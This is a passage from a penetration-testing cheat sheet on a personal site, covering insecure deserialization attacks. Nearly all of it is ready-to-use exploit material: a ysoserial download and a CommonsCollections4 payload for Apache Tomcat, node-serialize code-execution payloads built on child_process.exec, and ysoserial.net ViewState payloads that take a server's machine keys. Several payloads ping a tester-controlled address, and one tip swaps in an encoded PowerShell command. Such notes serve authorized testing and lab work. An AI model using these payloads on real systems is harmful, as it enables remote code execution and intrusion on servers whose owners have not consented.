h4rithdpentest

$Target variables

Set it once. Every <IP>, <USER> or <DOMAIN> placeholder in the notes is rewritten live, and the copy buttons copy your values.

Stored in this browser only
h4rithd.com ↗

10OWASP 10

Deserialization

Read
1 min
Blocks
3
Updated
Target

01. YSoSerial

  • Every serialized object is stating from ac ed hex value.
bash4 lines
curl -o ysoserial.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
## ------------------| Apache Tomcat 9.0.27
java -jar ysoserial.jar CommonsCollections4 "ping -c 1 10.10.14.25" | base64 -w 0 | xclip -selection clipboard

02. Node-serialize

bash6 lines
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ping -c 1 10.10.14.22\', function(error, stdout, stderr) { console.log(stdout) });}()
_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"ping -c 1 10.10.14.22\", function(error, stdout, stderr) { console.log(stdout) });}()

03. YSoSerial.net

  • ViewState
bash10 lines
## ------------------| ASP .Net __VIEWSTATE
### Grab the decryptionAlgo, validationAlgo, decryptionKey & validationKey from web.config
## ------------------| List examples
.\ysoserial.exe -p ViewState --examples
## ------------------| MyOnTheGo
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="<decryptionAlgo>" --decryptionkey="<decryptionKey>" --validationalg="<validationAlgo>" --validationkey="<validationKey>" -c "ping <IP>"
### Paste the ouput in to the __VIEWSTATE= and send the request.
### change the -c as powershell -EncodedCommand SQBFAFgAKA....